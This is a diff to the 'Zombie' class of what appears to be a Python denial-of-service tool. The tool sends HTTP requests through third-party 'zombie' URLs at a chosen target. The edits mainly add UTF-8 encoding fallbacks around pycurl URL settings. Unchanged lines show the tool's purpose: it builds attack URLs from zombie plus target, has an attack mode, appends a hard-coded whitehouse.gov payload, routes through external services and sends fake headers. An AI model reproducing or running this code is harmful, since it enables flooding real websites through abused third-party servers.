|
@@ -11,6 +11,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
|
"""
|
|
|
import io, hashlib, re, sys
|
|
|
import time, threading, random
|
|
|
+import urllib.parse
|
|
|
from .randomip import RandomIP
|
|
|
try:
|
|
|
import pycurl
|
|
@@ -45,10 +46,16 @@ class Zombie: # class representing a zombie
|
|
|
options = self.ufo.options
|
|
|
c = pycurl.Curl()
|
|
|
if self.ufo.head == True:
|
|
|
- c.setopt(pycurl.URL, self.zombie)
|
|
|
+ try:
|
|
|
+ c.setopt(pycurl.URL, self.zombie)
|
|
|
+ except:
|
|
|
+ c.setopt(pycurl.URL, self.zombie.encode('utf-8'))
|
|
|
c.setopt(pycurl.NOBODY, 1)
|
|
|
if self.payload == True:
|
|
|
- payload = self.zombie + "https://www.whitehouse.gov"
|
|
|
+ try:
|
|
|
+ payload = self.zombie + "https://www.whitehouse.gov"
|
|
|
+ except:
|
|
|
+ payload = self.zombie.encode('utf-8') + "https://www.whitehouse.gov"
|
|
|
c.setopt(pycurl.URL, payload)
|
|
|
c.setopt(pycurl.NOBODY, 0)
|
|
|
if self.ufo.external == True:
|
|
@@ -58,7 +65,10 @@ class Zombie: # class representing a zombie
|
|
|
if options.target.startswith('http://'):
|
|
|
options.target = options.target.replace('http://','')
|
|
|
external = external_service + options.target
|
|
|
- c.setopt(pycurl.URL, external)
|
|
|
+ try:
|
|
|
+ c.setopt(pycurl.URL, external)
|
|
|
+ except:
|
|
|
+ c.setopt(pycurl.URL, external.encode('utf-8'))
|
|
|
c.setopt(pycurl.NOBODY, 0)
|
|
|
if self.attack_mode == True:
|
|
|
if options.place:
|
|
@@ -80,7 +90,10 @@ class Zombie: # class representing a zombie
|
|
|
url_attack = self.zombie + options.target
|
|
|
if self.ufo.options.verbose:
|
|
|
print("[Info] [Zombies] Payload:", url_attack)
|
|
|
- c.setopt(pycurl.URL, url_attack)
|
|
|
+ try:
|
|
|
+ c.setopt(pycurl.URL, url_attack)
|
|
|
+ except:
|
|
|
+ c.setopt(pycurl.URL, url_attack.encode('utf-8'))
|
|
|
c.setopt(pycurl.NOBODY, 0)
|
|
|
|
|
|
fakeheaders = ['Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg',
|